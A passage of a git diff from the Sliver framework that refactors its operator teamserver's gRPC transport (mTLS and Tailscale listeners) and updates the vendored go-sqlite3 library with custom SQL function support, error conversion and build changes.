implemented Sliver services) onto a generic listener. +// Both mTLS and Tailscale teamserver backends use this. +func (h *teamserver) serve(ln net.Listener) { + grpcServer := grpc.NewServer(h.options...) + + rpcLog := h.NamedLogger("transport", "gRPC") + + // Teamserver/Sliver services + sliverServer := rpc.NewServer(h.Server) + rpcpb.RegisterSliverRPCServer(grpcServer, sliverServer) + + rpcLog.Infof("Serving gRPC teamserver on %s", ln.Addr()) + + // Start serving the listener + go func() { + panicked := true + defer func() { + if panicked { + rpcLog.Errorf("stacktrace from panic: %s", string(debug.Stack())) + } + }() + + if err := grpcServer.Serve(ln); err != nil { + rpcLog.Errorf("gRPC server exited with error: %v", err) + } else { + panicked = false + } + }() +} diff --git a/server/transport/tailscale.go b/server/transport/tailscale.go index dd18a89c70..3d239beaf2 100644 --- a/server/transport/tailscale.go +++ b/server/transport/tailscale.go @@ -21,25 +21,50 @@ package transport import ( "fmt" "net" + "net/url" "os" "path/filepath" - "runtime/debug" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/server/assets" - "github.com/bishopfox/sliver/server/log" - "github.com/bishopfox/sliver/server/rpc" "google.golang.org/grpc" - "google.golang.org/grpc/credentials" "tailscale.com/tsnet" -) -var ( - tsNetLog = log.NamedLogger("transport", "tsnet") + "github.com/reeflective/team/server" + + "github.com/bishopfox/sliver/server/assets" ) -// StartTsNetClientListener - Start a TSNet gRPC listener -func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.Listener, error) { +// tailscaleTeamserver is unexported since we only need it as +// a reeflective/team/server.Listener interface implementation. +type tailscaleTeamserver struct { + *teamserver +} + +// newTeamserverTailScale returns a Sliver teamserver backend using Tailscale. +func newTeamserverTailScale(opts ...grpc.ServerOption) server.Listener { + core := newTeamserverTLS(opts...) + + return &tailscaleTeamserver{core} +} + +// Name indicates the transport/rpc stack. +func (ts *tailscaleTeamserver) Name() string { + return "gRPC/TSNet" +} + +// Close implements team/server.Handler.Close(). +// Instead of serving a classic TCP+TLS listener, +// we start a tailscale stack and create the listener out of it. +func (ts *tailscaleTeamserver) Listen(addr string) (ln net.Listener, err error) { + tsNetLog := ts.NamedLogger("transport", "tailscale") + + url, err := url.Parse(fmt.Sprintf("ts://%s", addr)) + if err != nil { + return nil, err + } + + hostname := url.Hostname() + port := url.Port() + if hostname == "" { hostname = "sliver-server" machineName, _ := os.Hostname() @@ -48,17 +73,17 @@ func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.L } } - tsNetLog.Infof("Starting gRPC/tsnet listener on %s:%d", hostname, port) + tsNetLog.Infof("Starting gRPC/tsnet listener on %s:%s", hostname, port) authKey := os.Getenv("TS_AUTHKEY") if authKey == "" { tsNetLog.Errorf("TS_AUTHKEY not set") - return nil, nil, fmt.Errorf("TS_AUTHKEY not set") + return nil, fmt.Errorf("TS_AUTHKEY not set") } tsnetDir := filepath.Join(assets.GetRootAppDir(), "tsnet") - if err := os.MkdirAll(tsnetDir, 0700); err != nil { - return nil, nil, err + if err := os.MkdirAll(tsnetDir, 0o700); err != nil { + return nil, err } tsNetServer := &tsnet.Server{ @@ -67,35 +92,13 @@ func StartTsNetClientListener(hostname string, port uint16) (*grpc.Server, net.L Logf: tsNetLog.Debugf, AuthKey: authKey, } - ln, err := tsNetServer.Listen("tcp", fmt.Sprintf(":%d", port)) + + ln, err = tsNetServer.Listen("tcp", fmt.Sprintf(":%s", port)) if err != nil { - return nil, nil, err + return nil, err } - // We don't really need the mutual TLS here, but it's easier - // maintain compatibility with existing config files - tlsConfig := getOperatorServerTLSConfig("multiplayer") - creds := credentials.NewTLS(tlsConfig) - options := []grpc.ServerOption{ - grpc.Creds(creds), - grpc.MaxRecvMsgSize(ServerMaxMessageSize), - grpc.MaxSendMsgSize(ServerMaxMessageSize), - } - options = append(options, initMiddleware(true)...) - grpcServer := grpc.NewServer(options...) - rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) - go func() { - panicked := true - defer func() { - if panicked { - tsNetLog.Errorf("stacktrace from panic: %s", string(debug.Stack())) - } - }() - if err := grpcServer.Serve(ln); err != nil { - tsNetLog.Warnf("gRPC/tsnet server exited with error: %v", err) - } else { - panicked = false - } - }() - return grpcServer, ln, nil + ts.serve(ln) + + return ln, nil } diff --git a/vendor/github.com/ncruces/go-sqlite3/README.md b/vendor/github.com/ncruces/go-sqlite3/README.md index 8a06a28516..838679176b 100644 --- a/vendor/github.com/ncruces/go-sqlite3/README.md +++ b/vendor/github.com/ncruces/go-sqlite3/README.md @@ -31,16 +31,11 @@ This has benefits, but also comes with some drawbacks. Because WASM does not support shared memory, [WAL](https://www.sqlite.org/wal.html) support is [limited](https://www.sqlite.org/wal.html#noshm). -To work around this limitation, SQLite is compiled with -[`SQLITE_DEFAULT_LOCKING_MODE=1`](https://www.sqlite.org/compile.html#default_locking_mode), -making `EXCLUSIVE` the default locking mode. -For non-WAL databases, `NORMAL` locking mode can be activated with -[`PRAGMA locking_mode=NORMAL`](https://www.sqlite.org/pragma.html#pragma_locking_mode). +To work around this limitation, SQLite is [patched](sqlite3/locking_mode.patch) +to always use `EXCLUSIVE` locking mode for WAL databases. Because connection pooling is incompatible with `EXCLUSIVE` locking mode, -the `database/sql` driver defaults to `NORMAL` locking mode. -To open WAL databases, or use `EXCLUSIVE` locking mode, -disable connection pooling by calling +to open WAL databases you should disable connection pooling by calling [`db.SetMaxOpenConns(1)`](https://pkg.go.dev/database/sql#DB.SetMaxOpenConns). #### POSIX Advisory Locks @@ -55,19 +50,22 @@ OFD locks are fully compatible with process-associated POSIX advisory locks. On BSD Unixes, this module uses [BSD locks](https://man.freebsd.org/cgi/man.cgi?query=flock&sektion=2). -BSD locks may _not_ be compatible with process-associated POSIX advisory locks. +BSD locks may _not_ be compatible with process-associated POSIX advisory locks +(they are on FreeBSD). #### Testing -The pure Go VFS is tested by running an unmodified build of SQLite's +The pure Go VFS is tested by running SQLite's [mptest](https://github.com/sqlite/sqlite/blob/master/mptest/mptest.c) -on Linux, macOS and Windows. +on Linux, macOS and Windows; +BSD code paths are tested on macOS using the `sqlite3_bsd` build tag. Performance is tested by running [speedtest1](https://github.com/sqlite/sqlite/blob/master/test/speedtest1.c). ### Roadmap - [ ] advanced SQLite features + - [x] custom functions - [x] nested transactions - [x] incremental BLOB I/O - [x] online backup @@ -77,7 +75,7 @@ Performance is tested by running - [x] in-memory VFS - [x] read-only VFS, wrapping an [`io.ReaderAt`](https://pkg.go.dev/io#ReaderAt) - [ ] cloud-based VFS, based on [Cloud Backed SQLite](https://sqlite.org/cloudsqlite/doc/trunk/www/index.wiki) -- [ ] custom SQL functions + - [ ] [MVCC](https://en.wikipedia.org/wiki/Multiversion_concurrency_control) VFS, using [BadgerDB](https://github.com/dgraph-io/badger) ### Alternatives diff --git a/vendor/github.com/ncruces/go-sqlite3/backup.go b/vendor/github.com/ncruces/go-sqlite3/backup.go index 27a71a9707..17efa03ed0 100644 --- a/vendor/github.com/ncruces/go-sqlite3/backup.go +++ b/vendor/github.com/ncruces/go-sqlite3/backup.go @@ -77,7 +77,7 @@ func (c *Conn) backupInit(dst uint32, dstName string, src uint32, srcName string if r == 0 { defer c.closeDB(other) r = c.call(c.api.errcode, uint64(dst)) - return nil, c.module.error(r, dst) + return nil, c.sqlite.error(r, dst) } return &Backup{ diff --git a/vendor/github.com/ncruces/go-sqlite3/conn.go b/vendor/github.com/ncruces/go-sqlite3/conn.go index be10c719fa..9c15a85f0e 100644 --- a/vendor/github.com/ncruces/go-sqlite3/conn.go +++ b/vendor/github.com/ncruces/go-sqlite3/conn.go @@ -19,7 +19,7 @@ import ( // // https://www.sqlite.org/c3ref/sqlite3.html type Conn struct { - *module + *sqlite interrupt context.Context waiter chan struct{} @@ -39,7 +39,7 @@ func Open(filename string) (*Conn, error) { // If none of the required flags is used, a combination of [OPEN_READWRITE] and [OPEN_CREATE] is used. // If a URI filename is used, PRAGMA statements to execute can be specified using "_pragma": // -// sqlite3.Open("file:demo.db?_pragma=busy_timeout(10000)&_pragma=locking_mode(normal)") +// sqlite3.Open("file:demo.db?_pragma=busy_timeout(10000)") // // https://www.sqlite.org/c3ref/open.html func OpenFlags(filename string, flags OpenFlag) (*Conn, error) { @@ -50,19 +50,19 @@ func OpenFlags(filename string, flags OpenFlag) (*Conn, error) { } func newConn(filename string, flags OpenFlag) (conn *Conn, err error) { - mod, err := instantiateModule() + sqlite, err := instantiateSQLite() if err != nil { return nil, err } defer func() { if conn == nil { - mod.close() + sqlite.close() } else { runtime.SetFinalizer(conn, util.Finalizer[Conn](3)) } }() - c := &Conn{module: mod} + c := &Conn{sqlite: sqlite} c.arena = c.newArena(1024) c.handle, err = c.openDB(filename, flags) if err != nil { @@ -80,7 +80,7 @@ func (c *Conn) openDB(filename string, flags OpenFlag) (uint32, error) { r := c.call(c.api.open, uint64(namePtr), uint64(connPtr), uint64(flags), 0) handle := util.ReadUint32(c.mod, connPtr) - if err := c.module.error(r, handle); err != nil { + if err := c.sqlite.error(r, handle); err != nil { c.closeDB(handle) return 0, err } @@ -99,7 +99,7 @@ func (c *Conn) openDB(filename string, flags OpenFlag) (uint32, error) { c.arena.reset() pragmaPtr := c.arena.string(pragmas.String()) r := c.call(c.api.exec, uint64(handle), uint64(pragmaPtr), 0, 0, 0) - if err := c.module.error(r, handle, pragmas.String()); err != nil { + if err := c.sqlite.error(r, handle, pragmas.String()); err != nil { if errors.Is(err, ERROR) { err = fmt.Errorf("sqlite3: invalid _pragma: %w", err) } @@ -113,7 +113,7 @@ func (c *Conn) openDB(filename string, flags OpenFlag) (uint32, error) { func (c *Conn) closeDB(handle uint32) { r := c.call(c.api.closeZombie, uint64(handle)) - if err := c.module.error(r, handle); err != nil { + if err := c.sqlite.error(r, handle); err != nil { panic(err) } } @@ -143,7 +143,7 @@ func (c *Conn) Close() error { c.handle = 0 runtime.SetFinalizer(c, nil) - return c.module.close() + return c.close() } // Exec is a convenience function that allows an application to run @@ -278,7 +278,7 @@ func (c *Conn) SetInterrupt(ctx context.Context) (old context.Context) { break case <-ctx.Done(): // Done was closed. - const isInterruptedOffset = 280 + const isInterruptedOffset = 288 buf := util.View(c.mod, c.handle+isInterruptedOffset, 4) (*atomic.Uint32)(unsafe.Pointer(&buf[0])).Store(1) // Wait for the next call to SetInterrupt. @@ -295,7 +295,7 @@ func (c *Conn) checkInterrupt() bool { if c.interrupt == nil || c.interrupt.Err() == nil { return false } - const isInterruptedOffset = 280 + const isInterruptedOffset = 288 buf := util.View(c.mod, c.handle+isInterruptedOffset, 4) (*atomic.Uint32)(unsafe.Pointer(&buf[0])).Store(1) return true @@ -319,7 +319,7 @@ func (c *Conn) Pragma(str string) ([]string, error) { } func (c *Conn) error(rc uint64, sql ...string) error { - return c.module.error(rc, c.handle, sql...) + return c.sqlite.error(rc, c.handle, sql...) } // DriverConn is implemented by the SQLite [database/sql] driver connection. diff --git a/vendor/github.com/ncruces/go-sqlite3/const.go b/vendor/github.com/ncruces/go-sqlite3/const.go index a1d6145c3e..9d0cd3008f 100644 --- a/vendor/github.com/ncruces/go-sqlite3/const.go +++ b/vendor/github.com/ncruces/go-sqlite3/const.go @@ -167,6 +167,18 @@ const ( PREPARE_NO_VTAB PrepareFlag = 0x04 ) +// FunctionFlag is a flag that can be passed to [Conn.PrepareFlags]. +// +// https://www.sqlite.org/c3ref/c_deterministic.html +type FunctionFlag uint32 + +const ( + DETERMINISTIC FunctionFlag = 0x000000800 + DIRECTONLY FunctionFlag = 0x000080000 + SUBTYPE FunctionFlag = 0x000100000 + INNOCUOUS FunctionFlag = 0x000200000 +) + // Datatype is a fundamental datatype of SQLite. // // https://www.sqlite.org/c3ref/c_blob.html @@ -182,18 +194,18 @@ const ( // String implements the [fmt.Stringer] interface. func (t Datatype) String() string { - const name = "INTEGERFLOATTEXTBLOBNULL" + const name = "INTEGERFLOATEXTBLOBNULL" switch t { case INTEGER: return name[0:7] case FLOAT: return name[7:12] case TEXT: - return name[12:16] + return name[11:15] case BLOB: - return name[16:20] + return name[15:19] case NULL: - return name[20:24] + return name[19:23] } return strconv.FormatUint(uint64(t), 10) } diff --git a/vendor/github.com/ncruces/go-sqlite3/context.go b/vendor/github.com/ncruces/go-sqlite3/context.go new file mode 100644 index 0000000000..3e511b52d9 --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/context.go @@ -0,0 +1,174 @@ +package sqlite3 + +import ( + "errors" + "math" + "time" + + "github.com/ncruces/go-sqlite3/internal/util" +) + +// Context is the context in which an SQL function executes. +// An SQLite [Context] is in no way related to a Go [context.Context]. +// +// https://www.sqlite.org/c3ref/context.html +type Context struct { + *sqlite + handle uint32 +} + +// SetAuxData saves metadata for argument n of the function. +// +// https://www.sqlite.org/c3ref/get_auxdata.html +func (c Context) SetAuxData(n int, data any) { + ptr := util.AddHandle(c.ctx, data) + c.call(c.api.setAuxData, uint64(c.handle), uint64(n), uint64(ptr)) +} + +// GetAuxData returns metadata for argument n of the function. +// +// https://www.sqlite.org/c3ref/get_auxdata.html +func (c Context) GetAuxData(n int) any { + ptr := uint32(c.call(c.api.getAuxData, uint64(c.handle), uint64(n))) + return util.GetHandle(c.ctx, ptr) +} + +// ResultBool sets the result of the function to a bool. +// SQLite does not have a separate boolean storage class. +// Instead, boolean values are stored as integers 0 (false) and 1 (true). +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultBool(value bool) { + var i int64 + if value { + i = 1 + } + c.ResultInt64(i) +} + +// ResultInt sets the result of the function to an int. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultInt(value int) { + c.ResultInt64(int64(value)) +} + +// ResultInt64 sets the result of the function to an int64. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultInt64(value int64) { + c.call(c.api.resultInteger, + uint64(c.handle), uint64(value)) +} + +// ResultFloat sets the result of the function to a float64. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultFloat(value float64) { + c.call(c.api.resultFloat, + uint64(c.handle), math.Float64bits(value)) +} + +// ResultText sets the result of the function to a string. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultText(value string) { + ptr := c.newString(value) + c.call(c.api.resultText, + uint64(c.handle), uint64(ptr), uint64(len(value)), + uint64(c.api.destructor), _UTF8) +} + +// ResultBlob sets the result of the function to a []byte. +// Returning a nil slice is the same as calling [Context.ResultNull]. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultBlob(value []byte) { + ptr := c.newBytes(value) + c.call(c.api.resultBlob, + uint64(c.handle), uint64(ptr), uint64(len(value)), + uint64(c.api.destructor)) +} + +// BindZeroBlob sets the result of the function to a zero-filled, length n BLOB. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultZeroBlob(n int64) { + c.call(c.api.resultZeroBlob, + uint64(c.handle), uint64(n)) +} + +// ResultNull sets the result of the function to NULL. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultNull() { + c.call(c.api.resultNull, + uint64(c.handle)) +} + +// ResultTime sets the result of the function to a [time.Time]. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultTime(value time.Time, format TimeFormat) { + if format == TimeFormatDefault { + c.resultRFC3339Nano(value) + return + } + switch v := format.Encode(value).(type) { + case string: + c.ResultText(v) + case int64: + c.ResultInt64(v) + case float64: + c.ResultFloat(v) + default: + panic(util.AssertErr()) + } +} + +func (c Context) resultRFC3339Nano(value time.Time) { + const maxlen = uint64(len(time.RFC3339Nano)) + + ptr := c.new(maxlen) + buf := util.View(c.mod, ptr, maxlen) + buf = value.AppendFormat(buf[:0], time.RFC3339Nano) + + c.call(c.api.resultText, + uint64(c.handle), uint64(ptr), uint64(len(buf)), + uint64(c.api.destructor), _UTF8) +} + +// ResultError sets the result of the function an error. +// +// https://www.sqlite.org/c3ref/result_blob.html +func (c Context) ResultError(err error) { + if errors.Is(err, NOMEM) { + c.call(c.api.resultErrorMem, uint64(c.handle)) + return + } + + if errors.Is(err, TOOBIG) { + c.call(c.api.resultErrorBig, uint64(c.handle)) + return + } + + str := err.Error() + ptr := c.newString(str) + c.call(c.api.resultError, + uint64(c.handle), uint64(ptr), uint64(len(str))) + c.free(ptr) + + var code uint64 + var ecode ErrorCode + var xcode xErrorCode + switch { + case errors.As(err, &xcode): + code = uint64(xcode) + case errors.As(err, &ecode): + code = uint64(ecode) + } + if code != 0 { + c.call(c.api.resultErrorCode, + uint64(c.handle), code) + } +} diff --git a/vendor/github.com/ncruces/go-sqlite3/driver/driver.go b/vendor/github.com/ncruces/go-sqlite3/driver/driver.go index f027c4ee9c..4dc8182e05 100644 --- a/vendor/github.com/ncruces/go-sqlite3/driver/driver.go +++ b/vendor/github.com/ncruces/go-sqlite3/driver/driver.go @@ -14,10 +14,9 @@ // // [PRAGMA] statements can be specified using "_pragma": // -// sql.Open("sqlite3", "file:demo.db?_pragma=busy_timeout(10000)&_pragma=locking_mode(normal)") +// sql.Open("sqlite3", "file:demo.db?_pragma=busy_timeout(10000)") // -// If no PRAGMAs are specified, a busy timeout of 1 minute -// and normal locking mode are used. +// If no PRAGMAs are specified, a busy timeout of 1 minute is set. // // Order matters: // busy timeout and locking mode should be the first PRAGMAs set, in that order. @@ -53,9 +52,14 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { if err != nil { return nil, err } + defer func() { + if err != nil { + c.Close() + } + }() + var pragmas bool c.txBegin = "BEGIN" - var pragmas []string if strings.HasPrefix(name, "file:") { if _, after, ok := strings.Cut(name, "?"); ok { query, _ := url.ParseQuery(after) @@ -66,20 +70,15 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { case "deferred", "immediate", "exclusive": c.txBegin = "BEGIN " + s default: - c.Close() return nil, fmt.Errorf("sqlite3: invalid _txlock: %s", s) } - pragmas = query["_pragma"] + pragmas = len(query["_pragma"]) > 0 } } - if len(pragmas) == 0 { - err := c.Conn.Exec(` - PRAGMA busy_timeout=60000; - PRAGMA locking_mode=normal; - `) + if !pragmas { + err = c.Conn.Exec(`PRAGMA busy_timeout=60000`) if err != nil { - c.Close() return nil, err } c.reusable = true @@ -90,7 +89,6 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { PRAGMA_query_only; `) if err != nil { - c.Close() return nil, err } if s.Step() { @@ -99,7 +97,6 @@ func (sqlite) Open(name string) (_ driver.Conn, err error) { } err = s.Close() if err != nil { - c.Close() return nil, err } } @@ -259,9 +256,7 @@ func (s *stmt) Query(args []driver.Value) (driver.Rows, error) { } func (s *stmt) ExecContext(ctx context.Context, args []driver.NamedValue) (driver.Result, error) { - // Use QueryContext to setup bindings. - // No need to close rows: that simply resets the statement, exec does the same. - _, err := s.QueryContext(ctx, args) + err := s.setupBindings(ctx, args) if err != nil { return nil, err } @@ -275,11 +270,20 @@ func (s *stmt) ExecContext(ctx context.Context, args []driver.NamedValue) (drive } func (s *stmt) QueryContext(ctx context.Context, args []driver.NamedValue) (driver.Rows, error) { - err := s.Stmt.ClearBindings() + err := s.setupBindings(ctx, args) if err != nil { return nil, err } + return &rows{ctx, s.Stmt, s.Conn}, nil +} + +func (s *stmt) setupBindings(ctx context.Context, args []driver.NamedValue) error { + err := s.Stmt.ClearBindings() + if err != nil { + return err + } + var ids [3]int for _, arg := range args { ids := ids[:0] @@ -318,11 +322,10 @@ func (s *stmt) QueryContext(ctx context.Context, args []driver.NamedValue) (driv } } if err != nil { - return nil, err + return err } } - - return &rows{ctx, s.Stmt, s.Conn}, nil + return nil } func (s *stmt) CheckNamedValue(arg *driver.NamedValue) error { diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/README.md b/vendor/github.com/ncruces/go-sqlite3/embed/README.md index 06c488696b..a40f65e88e 100644 --- a/vendor/github.com/ncruces/go-sqlite3/embed/README.md +++ b/vendor/github.com/ncruces/go-sqlite3/embed/README.md @@ -9,6 +9,7 @@ The following optional features are compiled in: - [JSON](https://www.sqlite.org/json1.html) - [R*Tree](https://www.sqlite.org/rtree.html) - [GeoPoly](https://www.sqlite.org/geopoly.html) +- [soundex](https://www.sqlite.org/lang_corefunc.html#soundex) - [base64](https://github.com/sqlite/sqlite/blob/master/ext/misc/base64.c) - [decimal](https://github.com/sqlite/sqlite/blob/master/ext/misc/decimal.c) - [regexp](https://github.com/sqlite/sqlite/blob/master/ext/misc/regexp.c) diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/build.sh b/vendor/github.com/ncruces/go-sqlite3/embed/build.sh index f461b2664f..a80a94a962 100644 --- a/vendor/github.com/ncruces/go-sqlite3/embed/build.sh +++ b/vendor/github.com/ncruces/go-sqlite3/embed/build.sh @@ -4,24 +4,27 @@ set -euo pipefail cd -P -- "$(dirname -- "$0")" ROOT=../ -BINARYEN="$ROOT/tools/binaryen-version_113/bin" +BINARYEN="$ROOT/tools/binaryen-version_114/bin" WASI_SDK="$ROOT/tools/wasi-sdk-20.0/bin" "$WASI_SDK/clang" --target=wasm32-wasi -flto -g0 -O2 \ -o sqlite3.wasm "$ROOT/sqlite3/main.c" \ -I"$ROOT/sqlite3" \ -mexec-model=reactor \ - -mmutable-globals \ + -msimd128 -mmutable-globals \ -mbulk-memory -mreference-types \ -mnontrapping-fptoint -msign-ext \ + -fno-stack-protector -fno-stack-clash-protection \ -Wl,--initial-memory=327680 \ -Wl,--stack-first \ -Wl,--import-undefined \ + -D_HAVE_SQLITE_CONFIG_H \ $(awk '{print "-Wl,--export="$0}' exports.txt) trap 'rm -f sqlite3.tmp' EXIT "$BINARYEN/wasm-ctor-eval" -g -c _initialize sqlite3.wasm -o sqlite3.tmp -"$BINARYEN/wasm-opt" -g -O2 sqlite3.tmp -o sqlite3.wasm \ - --enable-multivalue --enable-mutable-globals \ +"$BINARYEN/wasm-opt" -g --strip -c -O3 \ + sqlite3.tmp -o sqlite3.wasm \ + --enable-simd --enable-mutable-globals --enable-multivalue \ --enable-bulk-memory --enable-reference-types \ --enable-nontrapping-float-to-int --enable-sign-ext \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt b/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt index 2a07fc0c14..94bfa66c19 100644 --- a/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt +++ b/vendor/github.com/ncruces/go-sqlite3/embed/exports.txt @@ -33,10 +33,10 @@ sqlite3_column_blob sqlite3_column_bytes sqlite3_blob_open sqlite3_blob_close +sqlite3_blob_reopen sqlite3_blob_bytes sqlite3_blob_read sqlite3_blob_write -sqlite3_blob_reopen sqlite3_backup_init sqlite3_backup_step sqlite3_backup_finish @@ -46,4 +46,29 @@ sqlite3_uri_parameter sqlite3_uri_key sqlite3_changes64 sqlite3_last_insert_rowid -sqlite3_get_autocommit \ No newline at end of file +sqlite3_get_autocommit +sqlite3_anycollseq_init +sqlite3_create_collation_go +sqlite3_create_function_go +sqlite3_create_aggregate_function_go +sqlite3_create_window_function_go +sqlite3_aggregate_context +sqlite3_user_data +sqlite3_set_auxdata_go +sqlite3_get_auxdata +sqlite3_value_type +sqlite3_value_int64 +sqlite3_value_double +sqlite3_value_text +sqlite3_value_blob +sqlite3_value_bytes +sqlite3_result_null +sqlite3_result_int64 +sqlite3_result_double +sqlite3_result_text64 +sqlite3_result_blob64 +sqlite3_result_zeroblob64 +sqlite3_result_error +sqlite3_result_error_code +sqlite3_result_error_nomem +sqlite3_result_error_toobig \ No newline at end of file diff --git a/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm b/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm index be6574a138..020d130a93 100644 Binary files a/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm and b/vendor/github.com/ncruces/go-sqlite3/embed/sqlite3.wasm differ diff --git a/vendor/github.com/ncruces/go-sqlite3/error.go b/vendor/github.com/ncruces/go-sqlite3/error.go index 957a7440b7..c91dccd12f 100644 --- a/vendor/github.com/ncruces/go-sqlite3/error.go +++ b/vendor/github.com/ncruces/go-sqlite3/error.go @@ -68,6 +68,19 @@ func (e *Error) Is(err error) bool { return false } +// As converts this error to an [ErrorCode] or [ExtendedErrorCode]. +func (e *Error) As(err any) bool { + switch c := err.(type) { + case *ErrorCode: + *c = e.Code() + return true + case *ExtendedErrorCode: + *c = e.ExtendedCode() + return true + } + return false +} + // Temporary returns true for [BUSY] errors. func (e *Error) Temporary() bool { return e.Code() == BUSY @@ -104,6 +117,15 @@ func (e ExtendedErrorCode) Is(err error) bool { return ok && c == ErrorCode(e) } +// As converts this error to an [ErrorCode]. +func (e ExtendedErrorCode) As(err any) bool { + c, ok := err.(*ErrorCode) + if ok { + *c = ErrorCode(e) + } + return ok +} + // Temporary returns true for [BUSY] errors. func (e ExtendedErrorCode) Temporary() bool { return ErrorCode(e) == BUSY diff --git a/vendor/github.com/ncruces/go-sqlite3/func.go b/vendor/github.com/ncruces/go-sqlite3/func.go new file mode 100644 index 0000000000..205943eb5f --- /dev/null +++ b/vendor/github.com/ncruces/go-sqlite3/func.go @@ -0,0 +1,186 @@ +package sqlite3 + +import ( + "context" + + "github.com/ncruces/go-sqlite3/internal/util" + "github.com/tetratelabs/wazero" + "github.com/tetratelabs/wazero/api" +) + +// AnyCollationNeeded registers a fake collating function +// for any unknown collating sequence. +// The fake collating function works like BINARY. +// +// This extension can be used to load schemas that contain +// one or more unknown collating sequences. +func (c *Conn) AnyCollationNeeded() { + c.call(c.api.anyCollation, uint64(c.handle), 0, 0) +} + +// CreateCollation defines a new collating sequence. +// +// https://www.sqlite.org/c3ref/create_collation.html +func (c *Conn) CreateCollation(name string, fn func(a, b []byte) int) error { + namePtr := c.arena.string(name) + funcPtr := util.AddHandle(c.ctx, fn) + r := c.call(c.api.createCollation, + uint64(c.handle), uint64(namePtr), uint64(funcPtr)) + if err := c.error(r); err != nil { + util.DelHandle(c.ctx, funcPtr) + return err + } + return nil +} + +// CreateFunction defines a new scalar SQL function. +// +// https://www.sqlite.org/c3ref/create_function.html +func (c *Conn) CreateFunction(name string, nArg int, flag FunctionFlag, fn func(ctx Context, arg ...Value)) error { + namePtr := c.arena.string(name) + funcPtr := util.AddHandle(c.ctx, fn) + r := c.call(c.api.createFunction, + uint64(c.handle), uint64(namePtr), uint64(nArg), + uint64(flag), uint64(funcPtr)) + return c.error(r) +} + +// CreateWindowFunction defines a new aggregate or aggregate window SQL function. +// If fn returns a [WindowFunction], then an aggregate window function is created. +// +// https://www.sqlite.org/c3ref/create_function.html +func (c *Conn) CreateWindowFunction(name string, nArg int, flag FunctionFlag, fn func() AggregateFunction) error { + call := c.api.createAggregate + namePtr := c.arena.string(name) + funcPtr := util.AddHandle(c.ctx, fn) + if _, ok := fn().(WindowFunction); ok { + call = c.api.createWindow + } + r := c.call(call, + uint64(c.handle), uint64(namePtr), uint64(nArg), + uint64(flag), uint64(funcPtr)) + return c.error(r) +} + +// AggregateFunction is the interface an aggregate function should implement. +// +// https://www.sqlite.org/appfunc.html +type AggregateFunction interface { + // Step is invoked to add a row to the current window. + // The function arguments, if any, corresponding to the row being added are passed to Step. + Step(ctx Context, arg ...Value) + + // Value is invoked to return the current value of the aggregate. + Value(ctx Context) +} + +// WindowFunction is the interface an aggregate window function should implement. +// +// https://www.sqlite.org/windowfunctions.html +type WindowFunction interface { + AggregateFunction + + // Inverse is invoked to remove the oldest presently aggregated result of Step from the current window. + // The function arguments, if any, are those passed to Step for the row being removed. + Inverse(ctx Context, arg ...Value) +} + +func exportHostFunctions(env wazero.HostModuleBuilder) wazero.HostModuleBuilder { + util.ExportFuncVI(env, "go_destroy", callbackDestroy) + util.ExportFuncIIIIII(env, "go_compare", callbackCompare) + util.ExportFuncVIII(env, "go_func", callbackFunc) + util.ExportFuncVIII(env, "go_step", callbackStep) + util.ExportFuncVI(env, "go_final", callbackFinal) + util.ExportFuncVI(env, "go_value", callbackValue) + util.ExportFuncVIII(env, "go_inverse", callbackInverse) + return env +} + +func callbackDestroy(ctx context.Context, mod api.Module, pApp uint32) { + util.DelHandle(ctx, pApp) +} + +func callbackCompare(ctx context.Context, mod api.Module, pApp, nKey1, pKey1, nKey2, pKey2 uint32) uint32 { + fn := util.GetHandle(ctx, pApp).(func(a, b []byte) int) + return uint32(fn(util.View(mod, pKey1, uint64(nKey1)), util.View(mod, pKey2, uint64(nKey2)))) +} + +func callbackFunc(ctx context.Context, mod api.Module, pCtx, nArg, pArg uint32) { + sqlite := ctx.Value(sqliteKey{}).(*sqlite) + fn := callbackHandle(sqlite, pCtx).(func(ctx Context, arg ...Value)) + fn(Context{sqlite, pCtx}, callbackArgs(sqlite, nArg, pArg)...) +} + +func callbackStep(ctx context.Context, mod api.Module, pCtx, nArg, pArg uint32) { + sqlite := ctx.Value(sqliteKey{}).(*sqlite) + fn := callbackAggregate(sqlite, pCtx, nil).(AggregateFunction) + fn.Step(Context{sqlite, pCtx}, callbackArgs(sqlite, nArg, pArg)...) +} + +func callbackFinal(ctx context.Context, mod api.Module, pCtx uint32) { + var handle uint32 + sqlite := ctx.Value(sqliteKey{}).(*sqlite) + fn := callbackAggregate(sqlite, pCtx, &handle).(AggregateFunction) + fn.Value(Context{sqlite, pCtx}) + if err := util.DelHandle(ctx, handle); err != nil { + Context{sqlite, pCtx}.ResultError(err) + } +} + +func callbackValue(ctx context.Context, mod api.Module, pCtx uint32) { + sqlite := ctx.Value(sqliteKey{}).(*sqlite) + fn := callbackAggregate(sqlite, pCtx, nil).(AggregateFunction) + fn.Value(Context{sqlite, pCtx}) +} + +func callbackInverse(ctx context.Context, mod api.Module, pCtx, nArg, pArg uint32) { + sqlite := ctx.Value(sqliteKey{}).(*sqlite) + fn := callbackAggregate(sqlite, pCtx, 